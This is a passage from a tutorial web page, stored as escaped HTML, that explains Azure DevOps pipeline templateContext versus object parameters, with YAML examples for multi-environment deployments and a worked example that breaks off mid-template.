unchanged\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eNew shared setting added\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eEdit every item\u0026rsquo;s \u003ccode\u003etemplateContext:\u003c/code\u003e block\u003c/td\u003e\n          \u003ctd\u003eEdit the global \u003ccode\u003econfig\u003c/code\u003e default once\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eSchema validation\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eNone — fully unvalidated\u003c/td\u003e\n          \u003ctd\u003eNone — object type is unvalidated\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eBest use case\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eDeployment target, approval group, service connection, per-environment URL\u003c/td\u003e\n          \u003ctd\u003eContainer registry, image tag, feature flags, org-wide settings\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"combining-both\"\u003eCombining Both\u003c/h3\u003e\n\u003cp\u003eThe two tools are complementary. A template can receive a global \u003ccode\u003econfig\u003c/code\u003e object parameter for shared settings and a \u003ccode\u003edeploymentList\u003c/code\u003e where each job\u0026rsquo;s \u003ccode\u003etemplateContext\u003c/code\u003e carries only the per-job overrides:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# pipeline.yml — global config + per-job templateContext\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003etemplates/deploy-jobs.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003econfig:                                      # shared\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esame for all jobs\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003econtainerRegistry\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003emyregistry.azurecr.io\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eimageTag\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(Build.BuildId)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003ebuildNumber\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(Build.BuildNumber)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003enotifyOnFailure\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edeployments:                                 # per-job\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eunique per environment\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployDev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003etemplateContext\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-dev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003ereplicaCount\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Pre-deploy checks\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployProd\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003etemplateContext\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eprod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-prod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003ereplicaCount\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003erunSmokeTests\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Pre-deploy checks\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# templates/deploy-jobs.yml — reads both global config and per-job templateContext\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003econfig\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003econtainerRegistry\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eimageTag\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003elatest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ebuildNumber\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003enotifyOnFailure\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeployments\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeploymentList\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: []\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ each deploy in parameters.deployments }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.deployment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.templateContext.environment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              - \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.strategy.runOnce.deploy.steps }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eAzureCLI@2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Deploy to ${{ deploy.templateContext.environment }}\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003einputs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#f92672\"\u003eazureSubscription\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.templateContext.serviceConnection }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#f92672\"\u003escriptType\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ebash\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#f92672\"\u003escriptLocation\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003einlineScript\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#f92672\"\u003einlineScript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                    # Global config: shared registry and tag\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                    IMAGE=\u0026#34;${{ parameters.config.containerRegistry }}/myapp:${{ parameters.config.imageTag }}\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                    # Per-job templateContext: unique replica count per environment\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                    REPLICAS=\u0026#34;${{ deploy.templateContext.replicaCount }}\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                    az aks scale \\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                      --resource-group \u0026#34;rg-myapp-${{ deploy.templateContext.environment }}\u0026#34; \\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                      --name \u0026#34;aks-${{ deploy.templateContext.environment }}\u0026#34; \\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                      --node-count \u0026#34;$REPLICAS\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              - \u003cspan style=\"color:#ae81ff\"\u003e${{ if deploy.templateContext.runSmokeTests }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e./smoke-tests.sh\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Smoke tests\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe \u003ccode\u003econfig\u003c/code\u003e object carries the values that do not vary by deployment target. The \u003ccode\u003etemplateContext\u003c/code\u003e carries the values that make each deployment unique. Neither grows unnecessarily when the other changes.\u003c/p\u003e\n\u003ch3 id=\"when-neither-is-the-right-tool\"\u003eWhen Neither Is the Right Tool\u003c/h3\u003e\n\u003cp\u003eUse a runtime \u003ccode\u003econdition:\u003c/code\u003e field with \u003ccode\u003e$[ ]\u003c/code\u003e expressions when the decision depends on a value that only exists at runtime — such as the result of a previous job, a release pipeline variable, or a quality gate score:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Runtime condition — templateContext cannot evaluate this\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployProd\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eQualityGate\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eand(succeeded(\u0026#39;QualityGate\u0026#39;), eq(dependencies.QualityGate.outputs[\u0026#39;gate.passed\u0026#39;], \u0026#39;true\u0026#39;))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e./deploy.sh\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003ccode\u003etemplateContext\u003c/code\u003e is a compile-time mechanism. It cannot read variables set by \u003ccode\u003e##vso[task.setvariable]\u003c/code\u003e inside a running job, and it cannot react to runtime conditions. If the routing decision depends on a value that does not exist until a job or step executes, use \u003ccode\u003econdition:\u003c/code\u003e or \u003ccode\u003edependsOn\u003c/code\u003e instead.\u003c/p\u003e\n\u003cp\u003eNever store secrets in \u003ccode\u003etemplateContext\u003c/code\u003e. The content is plain text in source-controlled YAML. Service principal passwords, API keys, and connection strings belong in variable groups, Azure Key Vault references (\u003ccode\u003e$(az-keyvault-secret)\u003c/code\u003e), or service connections — not in \u003ccode\u003etemplateContext:\u003c/code\u003e blocks that anyone with repository read access can see.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eDecision flow:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eIs the value known at pipeline-definition time (author time, not runtime)?\n\u003cul\u003e\n\u003cli\u003eNo → use \u003ccode\u003econdition:\u003c/code\u003e with \u003ccode\u003e$[ ]\u003c/code\u003e runtime expression\u003c/li\u003e\n\u003cli\u003eYes → continue\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eDoes the value vary per job or stage in the list?\n\u003cul\u003e\n\u003cli\u003eYes → \u003ccode\u003etemplateContext\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eNo → \u003ccode\u003eobject\u003c/code\u003e parameter\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eIs the value a secret?\n\u003cul\u003e\n\u003cli\u003eYes → variable group or Key Vault; never \u003ccode\u003etemplateContext\u003c/code\u003e or \u003ccode\u003eobject\u003c/code\u003e param in plaintext\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"hands-on-example-multi-environment-deployment-with-per-stage-approvals\"\u003eHands-On Example: Multi-Environment Deployment with Per-Stage Approvals\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eScenario:\u003c/strong\u003e A platform team supports deployments to four environments: dev, test, staging, and prod. Each environment has a different Azure DevOps environment (with approval gates), a different service connection, and a different notification channel for deployment events. The prod environment additionally requires a smoke test job after deployment. The team wants a single reusable stage template driven by \u003ccode\u003etemplateContext\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ePrerequisites:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFour Azure DevOps environments created and named: \u003ccode\u003edev\u003c/code\u003e, \u003ccode\u003etest\u003c/code\u003e, \u003ccode\u003estaging\u003c/code\u003e, \u003ccode\u003eprod\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eFour service connections named by convention: \u003ccode\u003esc-dev\u003c/code\u003e, \u003ccode\u003esc-test\u003c/code\u003e, \u003ccode\u003esc-staging\u003c/code\u003e, \u003ccode\u003esc-prod\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eFamiliarity with \u003ccode\u003estageList\u003c/code\u003e parameter type\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eImplementation:\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eStep 1\u003c/strong\u003e — Create \u003ccode\u003etemplates/deploy-stage.yml\u003c/code\u003e with a \u003ccode\u003estageList\u003c/code\u003e parameter:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# templates/deploy-stage.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003econtainerRegistry\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eimageTag\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeployStages\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estageList\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: []\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ each stage in parameters.deployStages }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ stage.stage }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Deploy — ${{ stage.templateContext.environment }}\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDEPLOY_ENV\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ 